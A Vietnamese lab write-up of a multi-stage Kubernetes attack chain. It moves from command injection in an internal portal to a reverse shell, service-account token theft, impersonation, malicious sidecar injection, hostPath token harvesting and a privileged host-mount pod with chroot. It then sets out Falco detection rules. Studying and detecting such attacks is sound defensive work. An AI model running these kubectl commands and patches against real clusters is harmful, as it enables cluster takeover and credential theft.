Bối Cảnh
Công ty giả lập VDTCloudOps vận hành một Kubernetes cluster nội bộ cho các workload production, CI/CD và platform automation. Gần đây đội SOC phát hiện một số request bất thường đến dịch vụ KubeOpsConsole, một portal nội bộ dùng cho kiểm tra trạng thái dịch vụ và hỗ trợ vận hành.

KubeOps Console được expose qua NodePort để đội vận hành truy cập nhanh trong môi trường lab. Ứng dụng này chỉ được thiết kế cho kiểm tra kết nối nội bộ, nhưng trong quá trình vận hành, một số tính năng debug legacy vẫn còn tồn tại.

Nhiệm vụ của bạn là đóng vai trò security engineer thực hiện controlled assessment trên lab này: bắt đầu từ một foothold trong workload thấp quyền, đánh giá các sai cấu hình Kubernetes, ghi nhận từng mức impact, và đề xuất detection/hardening tương ứng.

Mục Tiêu Tổng Quát
Chứng minh rằng một lỗi ứng dụng nhỏ trong Kubernetes có thể trở thành chuỗi leo thang đặc quyền nhiều bước nếu RBAC, ServiceAccount token, workload permission và runtime isolation được cấu hình sai.

Đề Bài Cho Người Chơi
Bạn được cung cấp địa chỉ của một portal nội bộ:

http://<node-ip>:30679

Portal này thuộc namespace production và chạy dưới ServiceAccount thấp quyền. Hãy đánh giá xem một lỗi command execution trong portal có thể dẫn tới mức ảnh hưởng nào trong cluster.

Bạn cần thu thập các flag theo từng giai đoạn để chứng minh impact.

1. Initial access

Bước đầu tiên của mọi lab khi có thông tin về Ip của target là Recon. Thì bài lab này mình sẽ Recon bằng Nmap , hoặc có thể recon bằng kube-hunter

1. NodePort Discovery
Sau khi scan, chúng ta khám phá ra một service NodePort ở cổng 30679 trông rất đáng ngờ. Đây chính là mục tiêu để chúng ta đi sâu vào khai thác.

nmap -p 30000-32767 192.168.221.131 curl http://192.168.221.131:30679/

2. Kube API Server Recon
Ta nhận thấy rằng có port 6443 là API của K8s nên curl thử thì bị chặn

curl -k https://192.168.221.131:6443/version 
curl -k https://192.168.221.131:6443/api

3. Kubelet API 10250

curl -k https://192.168.221.131:10250/pods 
curl -k https://192.168.221.131:10250/metrics

Unauthorized chứng tỏ rằng kubelet có auth đầy đủ chứ ko phải anonymous.

4. etcd 2379/2380

curl -k https://192.168.221.131:2379/version curl -k https://192.168.221.131:2380/version

etcd exposed on host network, but protected by TLS/client cert. Still should be firewall-restricted.

5. kube-proxy 10256
Chỉ healthz:

curl http://192.168.221.131:10256/healthz

Nmap ra các port được mở như này . Sau khi tham khảo các Port của K8s , bạn có thể search trên gg mà tìm ra 2379 là port etcd , 6443 là port của API K8s khi dựng bằng kubeadm ,đồng thời 10250 là của Kubelet . Còn chỉ có 30679 theo như tui tham khảo thì nó là NodePort Service.

Và sau khi truy cập vào Ip cùng với cổng nghi ngờ thì màn hình hiện ra là 1 màn hình dịch vụ Kubeops. Có vẻ dịch vụ này là 1 platform cho các Devops dùng cho K8s

1. Xem tổng quan cluster/workload.
2. Theo dõi workload trong các namespace như prod, dev, kube-system.
3. Theo dõi incident vận hành.
4. Kiểm tra trạng thái API/health của portal.
5. Chạy diagnostics để kiểm tra kết nối nội bộ từ trong cluster.

Ở trong phần Operations mình thấy có 1 phần input , sau đó thử test OS command injection x; ls thì màn hình liệt kê các file đang có trong 1 container.

Do đó mình sẽ reverse shell vào chỗ này , bằng lệnh như hình ở dưới

Dựng 1 máy lắng nghe thì đã dành được reverse shell

Nâng cấp shell

python3 -c 'import pty; pty.spawn("/bin/bash")'

Ctrl + Z


stty raw -echo;fg

reset 

xterm-256color

2. Discovery

Mình đã có foodhold đầu tiên trong một Pod production nên biết tiếp theo sẽ là khám phá xem ở trong này có gì hay

Kiểm tra bằng các lệnh cơ bản như env , whoami , thì biết rằng mình đang có quyền root trong 1 pod được quản lí bởi Kubernetes

Để ý răng Có Pod_Namespace là Prod

Có API service nội bộ nên có thể curl thử để xem quyền

Không token → system:anonymous → forbidden

Mặc định pod thường đọc được ServiceAccount token của chính nó nếu automountServiceAccountToken được bật nên mình thử liệt kê nó thì thấy cả ca.crt , namespace, và token , đồng thời mình cũng kiểm tra bằng các lệnh như ls /host để chứng mình rằng mình chưa có quyền host. Nhiệm vụ của mình bây giờ là phải thoát khỏi Pod này và chiếm được được toàn bộ cluster

export APISERVER=https://${KUBERNETES_SERVICE_HOST}
export SERVICEACCOUNT=/run/secrets/kubernetes.io/serviceaccount
export NAMESPACE=$(cat ${SERVICEACCOUNT}/namespace)
export TOKEN=$(cat ${SERVICEACCOUNT}/token)
export CACERT=${SERVICEACCOUNT}/ca.crt

Sau khi có đầy đủ identity thì mình sẽ gọi thử API server để kiểm tra xem mình có quyền xem pods hay namespace hay ko thì đa số gần như 403

Dựng server ở local python3 -m http.server 8000 để có thể dùng kubectl tương tác với API

Flag 1 - RBAC lateral movement

Điều đầu tiên khi có token là kiểm tra t có những quyền bằng auth can-i –list thì thấy rằng SA của kubeops-sa này dường như bị thắt quyền khá là chặt , ko thể xem namespace hay pods gì cả.

/tmp/kubectl --server $APISERVER \
  --certificate-authority $CACERT \
  --token $TOKEN \
  auth can-i --list

Tạo alias

alias k='/tmp/kubectl --server=$APISERVER --certificate-authority=$CACERT --token=$TOKEN'

k auth whoami

Kết quả cho ta thấy rằng đây là SA token trong namespace là Prod tên là Kubeops-sa

Thì sau khi liệt kê sơ các quyền của SA token này thì hầu như nó bị config khá là chặt và hầu như ko có quyền gì

Nhưng nhờ Dashboard của Kubeops có liệt kê các namespace như prod , dev , kubesystem nên mình đã biết được có 1 namespace là dev, hoặc là nếu ko dashboard ko cho biết namespace thì t cũng có thể bruforce để đoán được vì namespace dev này khá là nhiều.

Nên thử dùng SA token đó và thử test xem mình có quyền gì trong namepspace dev đó thì kết quả cho thấy rằng mình có quyền debug bằng cách có thể tạo và exec vào các pods cũng như có thể xem các pods.

Nghĩa là prod:kubeops-sa không có quyền xem toàn cluster, nhưng lại có quyền debug workload trong namespace dev bằng quyền exec pods ở resource là Ci-runner. Giờ pivot sang dev bằng cách dùng token của kubeops hiện có và lấy token của dev ci runner (Bạn có thể xem bằng cách get pods -n dev)

nhưng nó có 1 cái rbac khá kĩ là hiện tại SA token này nó chỉ get được chừng này pods nhưng SA token này chỉ exec được duy nhất 1 pod là ci-runner thôi còn build-agent thì vẫn ko exec được

/tmp/kubectl exec -it -n dev ci-runner \
  --server=$APISERVER \
  --certificate-authority=$CACERT \
  --token=$TOKEN \
  -- /bin/bash

Sau khi exec vào ci-runner trong namespace dev thì mình tìm được flag đàu tiên

Flag 2 - Targeted Secret Theft

Sau khi mình exec vào pods ci-runner để lấy token thì mình sẽ xuất token đó ra và dùng otken để để kiểm tra tiếp các quyền hiện tại

/tmp/kubectl exec -n dev ci-runner \
  --server=$APISERVER \
  --certificate-authority=$CACERT \
  --token=$TOKEN \
  -- cat /run/secrets/kubernetes.io/serviceaccount/token > /tmp/ci-token

export CI_TOKEN=$(cat /tmp/ci-token)

/tmp/kubectl auth can-i --list -n dev \
  --server=$APISERVER \
  --certificate-authority=$CACERT \
  --token=$CI_TOKEN

Khi tiếp tục dùng CI-token để liệt kê các quyền thì tôi thấy ở token này tôi có thể đọc được các secrets là ci-deploy-cache và deployer-token

ci-runner-sa chỉ có quyền get đúng 2 secret trong dev:
- ci-deploy-cache
- deployer-token

Tạo alias cho lệnh

alias kci='/tmp/kubectl --server=$APISERVER --certificate-authority=$CACERT --token=$CI_TOKEN'

Sau khi lấy token của ci-runner-sa, mình không biết token này mạnh hay yếu. Tôi dùng kubectl auth can-i –list để hỏi API Server quyền hiện tại. Kết quả cho thấy ServiceAccount không được list secrets, không có quyền cluster-wide, nhưng được get hai secret cụ thể: ci-deploy-cache và deployer-token. Vì RBAC đã chỉ rõ resourceNames, attacker có cơ sở đọc hai secret này.

Flag 2

Flag 3 - Khai thác quyền Impersonation

Tới đây thì có 1 gợi ý cho 1 cái secret kia là “Legacy CI cache. Old deployment jobs hand off to the platform operator webhook during break-glass maintenance”

Hệ thống đang chuyển giao dữ liệu từ bộ nhớ đệm CI cũ và các tiến trình triển khai cũ sang cho webhook của người vận hành quản lý (platform operator), nhằm phục vụ cho việc bảo trì khẩn cấp.

Tiếp tục t đọc thử secrets còn lại thì thấy có token của Service Account là deployer-token

Extract token sạch

/tmp/kubectl get secret deployer-token -n dev \
  -o jsonpath='{.data.token}' \
  --server=$APISERVER \
  --certificate-authority=$CACERT \
  --token=$CI_TOKEN | base64 -d > /tmp/deployer-token
  
  export DEPLOYER_TOKEN=$(cat /tmp/deployer-token)

Thì secret này được mã hóa base 64 2 lần nên mình giải mã rồi ném vào JWT.io để có thể xem thông tin chi tiết của Token

Thì sau khi decode ra thì tui thấy đây là 1 service account tên là deployer-sa ,token này ở trong namepsace dev

Đầu tiên thì vẫn tiếp tục check identity và tạo alias

/tmp/kubectl auth whoami \
  --server=$APISERVER \
  --certificate-authority=$CACERT \
  --token=$DEPLOYER_TOKEN

alias kd='/tmp/kubectl --server=$APISERVER --certificate-authority=$CACERT --token=$DEPLOYER_TOKEN'

Không có quyền gì hay để khai thác tiếp cả , mình nghĩ là phải tìm namespace khác để test

Ngoài ra còn có thêm 1 namespace là platform system ở trang dash-board lúc đầu nữa , tui thử dùng token đó để liệt kê các quyền trong platform này thì thấy ko có gì cả

Chỗ này khá là bí bởi vì test platform-system cũng ko có gì , ko biết test namespace nào khác kiểu sao

Nên tui quyết định thực hiện kĩ thuật internal network scanning ,tui có thử dnscan để quét ip service nhưng quét thử thì khá là lâu bởi vì dãy ip khá là dài, bạn có check tool tại link này

https://gist.github.com/nirohfeld/c596898673ead369cb8992d97a1c764e

nhưng chợt nhớ ra là trong secret kia có 1 cái service trong platform

Không biết namespace trước thì dùng gợi ý ở trên + DNS recon bằng cách lợi dụng cơ chế phân giải tên miền của coreDNS

Xem DNS:

cat /etc/resolv.conf

Test service DNS:

getent hosts operator-webhook.platform.svc.cluster.local

Nếu resolve được, có lý do probe namespace platform.

Và khi tui thử namespace là platform thì cuối cùng cũng thấy được quyền của mình là impersonate

Sau khi lấy được deployer-token, attacker kiểm tra quyền theo namespace platform. Token dev:deployer-sa không phải admin, nhưng có quyền impersonate serviceaccount platform-operator. Điều này cho phép attacker gửi request lên API Server dưới danh nghĩa platform-operator.

Kiểm tra platform-operator có quyền gì trong platform

/tmp/kubectl auth can-i --list -n platform \
  --server=$APISERVER \
  --certificate-authority=$CACERT \
  --token=$DEPLOYER_TOKEN \
  --as=system:serviceaccount:platform:platform-operator

Kết quả trả về là quyền này cho chúng ta xem được 1 secret bằng impersonate

Tạo alias mới cho impersonate

alias kp='/tmp/kubectl --server=$APISERVER --certificate-authority=$CACERT --token=$DEPLOYER_TOKEN --as=system:serviceaccount:platform:platform-operator'

kp get secret delegate-operator-note -n platform -o yaml 

Thử đọc secret thì thấy được flag

Flag 3 đã có cùng với note “The dev deployer may impersonate platform-operator during break-glass maintenance “

`Sau impersonation, attacker không chỉ đọc được note.

Flag 4 - Sidecar Injection để có thể persistence + defense evansion

Attacker kiểm tra tiếp quyền của platform-operator ở namespace dev. Nếu có patch deployments, attacker có thể sửa workload đang chạy để inject sidecar độc.`

Enum tiếp bằng quyền impersonate trên namespace là dev

/tmp/kubectl auth can-i --list -n dev \
  --server=$APISERVER \
  --certificate-authority=$CACERT \
  --token=$DEPLOYER_TOKEN \
  --as=system:serviceaccount:platform:platform-operator

Thì ở đây cũng tương tử ở trên là ở đây bạn cũng có quyền get list các pods cũng như deployment

/tmp/kubectl get deploy,pod -n dev \
  --server=$APISERVER \
  --certificate-authority=$CACERT \
  --token=$DEPLOYER_TOKEN \
  --as=system:serviceaccount:platform:platform-operator

Ở đây mình xem chi tiết file yaml của deployment api-worker thì thấy rằng

Thì để ý rằng ở đoạn này

Hướng của mình là sẽ sử dụng sidecar injection để duy trì persistence để lỡ pods có bị tắt hay xóa thì vẫn còn reverse shell

Các thông tin đã có :

• container array nằm ở /spec/template/spec/containers
• có volume tên shared-state
• mount path là /shared
• nếu thêm sidecar mount cùng volume /shared, nó có thể ghi file để container khác đọc được ( Kĩ thuật sidecar injection )

/tmp/kubectl patch deployment api-worker -n dev --type='json' \
  --server=$APISERVER \
  --certificate-authority=$CACERT \
  --token=$DEPLOYER_TOKEN \
  --as=system:serviceaccount:platform:platform-operator \
  -p='[
    {
      "op":"add",
      "path":"/spec/template/spec/containers/-",
      "value":{
        "name":"metrics-sidecar",
        "image":"python:3.12-slim",
        "imagePullPolicy":"IfNotPresent",
        "command":["/bin/sh","-c"],
        "args":["echo VDT2026{malicious_sidecar_persistence} > /shared/flag4.txt; sleep 360000"],
        "volumeMounts":[
          {
            "name":"shared-state",
            "mountPath":"/shared"
          }
        ]
      }
    }
  ]'

Sau đó check rollout:

/tmp/kubectl rollout status deployment/api-worker -n dev \
  --server=$APISERVER \
  --certificate-authority=$CACERT \
  --token=$DEPLOYER_TOKEN \
  --as=system:serviceaccount:platform:platform-operator

Lấy tên Pod tự động và lưu vào biến API_POD

API_POD=$(/tmp/kubectl get pods -n dev -l app=api-worker \
  -o jsonpath='{.items[0].metadata.name}' \
  --server=$APISERVER \
  --certificate-authority=$CACERT \
  --token=$DEPLOYER_TOKEN \
  --as=system:serviceaccount:platform:platform-operator)

Chui vào Pod để đọc file flag 4

/tmp/kubectl exec -n dev $API_POD -c api-worker \
  --server=$APISERVER \
  --certificate-authority=$CACERT \
  --token=$DEPLOYER_TOKEN \
  --as=system:serviceaccount:platform:platform-operator \
  -- cat /shared/flag4.txt
  

flag4.txt là mình cố tình cho sidecar ghi vào để chứng minh sidecar đã chạy thành công. Trong thực tế attacker không ghi “flag”, mà sidecar sẽ làm các việc như: đọc service account token, beacon về C2 proxy traffic nội bộ, đọc shared volume, hook/log request, duy trì persistence trong workload`

Nếu pod api-worker bị restart, ReplicaSet/Deployment sẽ tạo lại pod mới vẫn có sidecar độc.

Ban đầu attacker chỉ có reverse shell tạm thời trong kubeops-console. Shell này dễ mất nếu container restart hoặc pod bị xóa. Sau khi có quyền patch deployment, attacker chèn một sidecar vào api-worker. Vì sidecar nằm trong PodTemplate của Deployment, Kubernetes sẽ tự tạo lại nó sau mỗi lần pod bị xóa. Đây là kỹ thuật persistence ở tầng workload, kín hơn việc tạo một pod lạ.

Flag 5: Container Escape via HostPath Misconfiguration

platform-operator đã có quyền exec vào pod dev

Chỉ còn 1 cái build-agent là chúng ta chưa khai thác thử

Như đã liệt kê hồi nãy thì khác với quyền của ci-runner SA token thì ở quyền này chúng ta có thể exec vào build-agent và đồng thời kiểm tra yaml của build-agent

/tmp/kubectl get pod build-agent -n dev -o yaml \
  --server=$APISERVER \
  --certificate-authority=$CACERT \
  --token=$DEPLOYER_TOKEN \
  --as=system:serviceaccount:platform:platform-operator

privileged: true
hostPath: /var/lib/kubelet/pods
hostPath: /run/containerd/containerd.sock

đây là pod build runner quá quyền, có đường đọc token pod khác trên node.

Cụ thể rằng

1. Quyền cấu hình privileged: true (Đặc quyền tối cao)

• Nguy cơ: Kẻ tấn công nếu chui được vào Pod này sẽ có toàn quyền như một user root chạy trực tiếp trên máy host.
• Hành vi tấn công: Kẻ xấu có thể nhìn thấy, can thiệp vào toàn bộ phần cứng, phân vùng ổ đĩa vật lý của node, hoặc chạy các lệnh kernel trực tiếp mà không bị container ngăn cản.

1. Gắn socket containerd.sock (hostPath) vào Pod

• Nguy cơ: Containerd socket là bộ não quản lý toàn bộ container chạy trên node đó.
• Hành vi tấn công: Khi có quyền truy cập vào file socket này, kẻ tấn công có thể cài đặt công cụ (như nerdctl hoặc ctr) bên trong Pod để ra lệnh ngược lại cho host. Từ đó tạo ra một container độc hại mới, gắn thẳng ổ đĩa root (/) của máy host vào để đọc toàn bộ dữ liệu nhạy cảm của hệ thống.

1. Gắn phân vùng /var/lib/kubelet/pods với HostToContainer

• Nguy cơ: Đường dẫn này chứa dữ liệu, token, bí mật (secrets), và cấu hình của tất cả các Pod khác đang chạy chung trên node k8s-node.
• Hành vi tấn công: Kẻ tấn công chỉ cần lùng sục trong thư mục /node-pods này để ăn cắp tài khoản (ServiceAccount Token) của các ứng dụng khác, từ đó leo thang đặc quyền trên toàn bộ cụm Kubernetes.

Trong demo này tôi dùng hướng 1 vì ổn định và đủ chứng minh node-level credential theft.

containerd.sock là hướng escape/impact bổ sung. Trong thực tế, nếu có tool như ctr/crictl trong container, attacker có thể nói chuyện với container runtime để list container, inspect mount, hoặc chạy workload mới trên host runtime. Nhưng để demo ổn định, mình đang dùng hostPath token theft là chính.

Exec vào build-agent

/tmp/kubectl exec -it -n dev build-agent \
  --server=$APISERVER \
  --certificate-authority=$CACERT \
  --token=$DEPLOYER_TOKEN \
  --as=system:serviceaccount:platform:platform-operator \
  -- /bin/sh
  

Trong shell build-agent, kiểm tra nó có phải là pod nguy hiểm không bằng các lệnh sao

id
mount | grep -E 'node-pods|containerd'
ls -la /node-pods | head
ls -la /run/containerd/containerd.sock

1. Liệt kê toàn bộ token tìm được

find /node-pods -path "*kube-api-access*/token" -type f 2>/dev/null > /tmp/token-paths.txt

//Decode claims để tìm token có giá trị:

i=0
while read t; do
  i=$((i+1))
  echo "===== TOKEN $i ====="
  echo "path: $t"
  cat "$t" | cut -d. -f2 | base64 -d 2>/dev/null \
    | grep -E '"namespace"|"pod"|"serviceaccount"|"sub"'
done < /tmp/token-paths.txt

Lần này thấy platform-system/node-telemetry-agent.

Copy đường dẫn của token đó lại

cp /node-pods/dbe5772e-9643-4534-bbab-de5f90b77e7e/volumes/kubernetes.io~projected/kube-api-access-hwxcc//token /tmp/node-telemetry-token

kp exec -n dev build-agent -- cat /tmp/node-telemetry-token > /tmp/node-telemetry-token

export NODE_TELEMETRY_TOKEN=$(cat /tmp/node-telemetry-token)

alias kt='/tmp/kubectl --server=$APISERVER --certificate-authority=$CACERT --token=$NODE_TELEMETRY_TOKEN'

Sau khi vào build-agent, tôi không cần biết trước token nào quan trọng. Tôi enum các projected ServiceAccount token mà kubelet lưu dưới /var/lib/kubelet/pods, decode JWT payload để xem namespace, pod và serviceAccount. Khi thấy token thuộc platform-system/node-telemetry-agent, đây là một DaemonSet hệ thống có khả năng là trampoline pod nên tôi kiểm tra quyền của token đó

Thì thấy cũng chả có gì hay cả , thử đổi namespace khác xem

nhưng tui chợt nhớ lại cái node-telemetry này có gợi ý là của platform-system nên tui test xem

Lại tiếp tục có quyền get secrets ở đây, ta thử đọc secret đó xem sao

Và ta đã có được flag 5 cùng với gợi ý tiếp theo “Node telemetry can maintain the kube-system release-controller during break-glass windows, but it is not a cluster-admin identity”

Root flag - Trampoline Pod to Cluster admin (Privilege escalation)

Có gợi ý liên quan tới cluster-admin nên thử test thử cái này có quyền cluster-admin ko

Nhưng gợi ý có nhắc là node telemetry này có thể bảo trì kube-system , t thử check namespace đó thử

Và tới đây gần như là sắp xong rồi vì gần như chúng ta đã có mọi thứ như get pods , list pods hoặc patch deployment với resouce là release controller , đây là điển hình của trampoline pod (Ở đây là daemonset)

Thì tiếp tục ở đây chúng ta có thể liệt kê được các pods quan trọng có trong k8s

Việc bây giờ sẽ là Patch release-controller thêm sidecar lấy token:

/tmp/kubectl patch deployment release-controller -n kube-system --type='json' -p='[
  {
    "op":"add",
    "path":"/spec/template/spec/containers/-",
    "value":{
      "name":"release-token-tap",
      "image":"python:3.12-slim",
      "imagePullPolicy":"IfNotPresent",
      "command":["/bin/sh","-c"],
      "args":["echo VDT2026{trampoline_patch_to_release_controller}; cat /run/secrets/kubernetes.io/serviceaccount/token; sleep 360000"]
    }
  }
]' \
  --server=$APISERVER \
  --certificate-authority=$CACERT \
  --token=$NODE_TELEMETRY_TOKEN

Làm lại lấy pod mới:

/tmp/kubectl get pods -n kube-system -l app=release-controller \
  --server=$APISERVER \
  --certificate-authority=$CACERT \
  --token=$NODE_TELEMETRY_TOKEN

Lấy pod release-controller:

RELEASE_POD=$(/tmp/kubectl get pods -n kube-system -l app=release-controller \
  -o jsonpath='{.items[0].metadata.name}' \
  --server=$APISERVER \
  --certificate-authority=$CACERT \
  --token=$NODE_TELEMETRY_TOKEN)

Xem container trong pod:

/tmp/kubectl get pod "$RELEASE_POD" -n kube-system \
  -o jsonpath='{.spec.containers[*].name}' \
  --server=$APISERVER \
  --certificate-authority=$CACERT \
  --token=$NODE_TELEMETRY_TOKEN; echo

Đọc log sidecar:

/tmp/kubectl logs -n kube-system "$RELEASE_POD" -c release-token-tap \
  --server=$APISERVER \
  --certificate-authority=$CACERT \
  --token=$NODE_TELEMETRY_TOKEN

Lấy JWT tự động

/tmp/kubectl logs -n kube-system "$RELEASE_POD" -c release-token-tap \
  --server=$APISERVER \
  --certificate-authority=$CACERT \
  --token=$NODE_TELEMETRY_TOKEN \
  | grep '^eyJ' > /tmp/release-token
  
  export RELEASE_TOKEN=$(cat /tmp/release-token)

Và lấy token đó để check thì t thấy rằng đã có cluster admin

alias kr='/tmp/kubectl --server=$APISERVER --certificate-authority=$CACERT --token=$RELEASE_TOKEN'

cat > /tmp/node-maintenance.yaml <<'EOF'
apiVersion: v1
kind: Pod
metadata:
  name: node-maintenance
  namespace: kube-system
spec:
  hostNetwork: true
  hostPID: true
  hostIPC: true
  restartPolicy: Never
  containers:
  - name: node-maintenance
    image: python:3.12-slim
    imagePullPolicy: IfNotPresent
    securityContext:
      privileged: true
    command: ["/bin/sh", "-c"]
    args: ["sleep 360000"]
    volumeMounts:
    - name: host-root
      mountPath: /host
  volumes:
  - name: host-root
    hostPath:
      path: /
      type: Directory
EOF

Ý nghĩa của pods này là

hostPID: true
-> container có thể nhìn process namespace của host

hostNetwork: true
-> dùng network namespace của node

privileged: true
-> container có capabilities gần như root trên host

hostPath path: /
-> mount toàn bộ filesystem của node

mountPath: /host
-> trong container, host filesystem nằm ở 

Bạn có thể xem thêm cách này ở đây cũng khá là hay https://x.com/mauilion/status/1129468485480751104

Tới đây attacker đã chuyển từ Pod compromise sang Cluster Admin, sau đó dùng quyền Cluster Admin tạo privileged Pod mount host filesystem. Đây là final impact: kiểm soát Kubernetes API dẫn đến đọc filesystem node.

Exec kr exec -it node-maintenance -n kube-system -- /bin/sh

Enum trong pod

id
hostname
ls /host
cat /host/etc/os-release
cat /host/root/root.txt

chroot /host /bin/bash
whoami
hostname
cat /root/root.txt

chroot /host /bin/bash nghĩa là:

đổi root filesystem của process hiện tại sang thư mục /host, rồi chạy /bin/bash bên trong filesystem đó.

chroot không phải exploit riêng, mà là bước hậu khai thác sau khi attacker đã mount được root filesystem của node vào container. Khi đổi root filesystem sang /host, attacker thao tác với hệ điều hành node như root, có thể đọc file nhạy cảm hoặc ghi persistence như SSH key/cron nếu muốn chứng minh thêm impact.

**Attack Path **

Lab mô phỏng chuỗi tấn công thực tế trong Kubernetes:
từ RCE trong internal operations portal, attacker lấy token ServiceAccount,
lateral movement qua pods/exec, đọc secret có giới hạn, abuse impersonation,
cài sidecar persistence, khai thác privileged CI runner có hostPath để đọc token pod khác trên node,
dùng trampoline DaemonSet token để patch controller mạnh hơn,
lấy token cluster-admin, rồi tạo privileged pod mount host filesystem để chiếm node.

Falco được dùng để phát hiện các hành vi runtime như reverse shell,
đọc token, hostPath token theft và chroot vào host. Các hành vi API-level
như impersonation, get secret, patch deployment cần được bổ sung bằng Kubernetes Audit Logs.

Initial Access:
KubeOps Console RCE
-> reverse shell trong prod/kubeops-console

Flag 1 - RBAC Lateral Movement:
kubeops-sa không có quyền cluster-wide
-> nhưng có get/list pods trong dev
-> có pods/exec chỉ vào dev/ci-runner
-> exec sang ci-runner
-> VDT2026{rbac_pods_exec_lateral_movement}

Flag 2 - Targeted Secret Theft:
trong ci-runner lấy token ci-runner-sa
-> ci-runner-sa không list được toàn bộ secrets
-> chỉ get được ci-deploy-cache và deployer-token trong dev
-> đọc ci-deploy-cache
-> lấy deployer-sa token từ deployer-token
-> VDT2026{k8s_secret_theft_without_admin}

Flag 3 - Impersonation:
deployer-sa không phải admin
-> nhưng có quyền impersonate platform/platform-operator
-> dùng --as=system:serviceaccount:platform:platform-operator
-> đọc delegate-operator-note
-> VDT2026{impersonation_can_turn_delegate_into_admin}

Flag 4 - Sidecar Persistence:
platform-operator có quyền patch deployment trong dev
-> patch dev/api-worker
-> inject metrics-sidecar dùng chung shared volume
-> sidecar tồn tại theo Deployment, Pod bị recreate vẫn còn
-> VDT2026{malicious_sidecar_persistence}

Flag 5 - Container Escape / Node Token Theft:
platform-operator có quyền exec vào dev/build-agent
-> build-agent là CI workload bị cấu hình sai: privileged + hostPath /var/lib/kubelet/pods + containerd.sock
-> attacker đọc /node-pods, tức dữ liệu kubelet trên node
-> lấy token của platform-system/node-telemetry-agent DaemonSet
-> node-telemetry-agent không phải cluster-admin, chỉ là trampoline identity
-> VDT2026{container_escape_to_node_token_theft}

Trampoline Escalation:
node-telemetry-agent có quyền break-glass patch kube-system/release-controller
-> patch release-controller thêm sidecar tạm thời
-> sidecar in ServiceAccount token của release-controller ra logs
-> lấy release-controller token
-> release-controller mới là cluster-admin

Root Flag - Final Impact:
dùng release-controller cluster-admin token
-> tạo privileged pod mount host /
-> chroot hoặc đọc trực tiếp /host/root/root.txt
-> VDT2026{pod_compromise_to_cluster_admin_to_node_takeover}

II. Triển khai tool giám sát bằng Falco

1. Cài Falco bằng Helm

Trên k8s-node:

helm repo add falcosecurity https://falcosecurity.github.io/charts helm repo update

Cài vào namespace riêng:

kubectl create namespace falco --dry-run=client -o yaml | kubectl apply -f -

helm install falco falcosecurity/falco \
  -n falco \
  --version 8.0.5 \
  --set falcoctl.artifact.install.enabled=false \
  --set falcoctl.artifact.follow.enabled=false \
  --set tty=true
  

Test thử khi reverse shell

Viết Custom rule detect log

cat > falco-vdt-rules.yaml <<'EOF'
customRules:
  vdt_rules.yaml: |-
    - rule: VDT Read App Service Account Token
      desc: Detect lab app reading its service account token
      condition: >
        open_read and container and
        fd.name contains "/run/secrets/kubernetes.io/serviceaccount/token" and
        k8s.ns.name in (prod, dev, platform, platform-system) and
        not k8s.pod.name startswith "calico-" and
        not k8s.pod.name startswith "coredns"
      output: >
        VDT detected service account token read
        (user=%user.name command=%proc.cmdline container=%container.name
        image=%container.image.repository pod=%k8s.pod.name ns=%k8s.ns.name file=%fd.name)
      priority: WARNING
      tags: [k8s, credential_access, vdt]

    - rule: VDT Read Mounted Node Pod Tokens
      desc: Detect reading projected pod tokens via hostPath-mounted kubelet pod directories
      condition: >
        open_read and container and
        fd.name contains "/node-pods" and fd.name contains "/token"
      output: >
        VDT detected pod token read through /node-pods hostPath
        (user=%user.name command=%proc.cmdline container=%container.name
        image=%container.image.repository pod=%k8s.pod.name ns=%k8s.ns.name file=%fd.name)
      priority: CRITICAL
      tags: [k8s, hostpath, credential_access, container_escape, vdt]

    - rule: VDT Container Runtime Socket Access
      desc: Detect access to container runtime sockets from lab containers
      condition: >
        (open_read or open_write) and container and
        k8s.ns.name in (dev, kube-system) and
        (fd.name contains "/run/containerd/containerd.sock" or
         fd.name contains "/var/run/docker.sock" or
         fd.name contains "/run/crio/crio.sock")
      output: >
        VDT detected container runtime socket access
        (user=%user.name command=%proc.cmdline container=%container.name
        image=%container.image.repository pod=%k8s.pod.name ns=%k8s.ns.name file=%fd.name)
      priority: CRITICAL
      tags: [k8s, runtime_socket, container_escape, vdt]

    - rule: VDT Suspicious Sidecar Writes Shared Volume
      desc: Detect suspicious writes to shared volume used by sidecar persistence demo
      condition: >
        open_write and container and
        k8s.ns.name=dev and
        fd.name startswith "/shared/"
      output: >
        VDT detected write to shared sidecar volume
        (user=%user.name command=%proc.cmdline container=%container.name
        image=%container.image.repository pod=%k8s.pod.name ns=%k8s.ns.name file=%fd.name)
      priority: WARNING
      tags: [k8s, persistence, sidecar, vdt]

    - rule: VDT Chroot To Host Filesystem
      desc: Detect chroot execution from lab container
      condition: >
        spawned_process and container and
        proc.name=chroot and
        k8s.pod.name in (node-maintenance, host-shell)
      output: >
        VDT detected chroot from container
        (user=%user.name command=%proc.cmdline container=%container.name
        image=%container.image.repository pod=%k8s.pod.name ns=%k8s.ns.name)
      priority: CRITICAL
      tags: [k8s, container_escape, host_access, vdt]

    - rule: VDT SSH Authorized Keys Modified From HostPath Pod
      desc: Detect SSH persistence by modifying authorized_keys from hostPath pod
      condition: >
        open_write and container and
        k8s.pod.name in (node-maintenance, host-shell) and
        fd.name contains "/.ssh/authorized_keys"
      output: >
        VDT detected SSH authorized_keys modification from hostPath pod
        (user=%user.name command=%proc.cmdline container=%container.name
        image=%container.image.repository pod=%k8s.pod.name ns=%k8s.ns.name file=%fd.name)
      priority: CRITICAL
      tags: [k8s, persistence, host_access, vdt]
EOF

Falco tập trung vào runtime behavior sau khi workload đã chạy. Các hành vi control-plane như impersonation, patch deployment, get secret qua Kubernetes API cần được giám sát bằng Kubernetes Audit Logs hoặc policy engine như Kyverno/Gatekeeper. Vì vậy trong demo, Falco được dùng để phát hiện RCE, token theft, hostPath abuse và chroot; còn Flag 3 được đề xuất phát hiện bằng audit log.

kubectl logs -n falco -l app.kubernetes.io/name=falco -c falco -f --tail=0 \
  | grep --line-buffered -Ei 'VDT|netcat|remote code|token|node-pods|chroot|authorized|runtime|sidecar'

III. Quá trình dựng lab

Môi trường VM đã tạo

Host: Windows + VMware Workstation
Attacker: Kali VM
Target Kubernetes node: Ubuntu Server 26.04 LTS VM
Hostname Ubuntu: k8s-node
Username Ubuntu: phucquan
IP Ubuntu: 192.168.221.131
Disk VM: 40GB, root filesystem hiện khoảng 26GB
Network: NAT VMware, Kali đã SSH được vào Ubuntu

Các bước đã hoàn thành

1. Kali SSH thành công vào Ubuntu:

ssh phucquan@192.168.221.131

1. Cài các gói nền cần thiết:

sudo apt update
sudo apt install -y curl wget gnupg ca-certificates apt-transport-https

1. Tắt swap:

sudo swapoff -a
swapon --show

1. Bật kernel modules cần cho Kubernetes:

sudo modprobe overlay
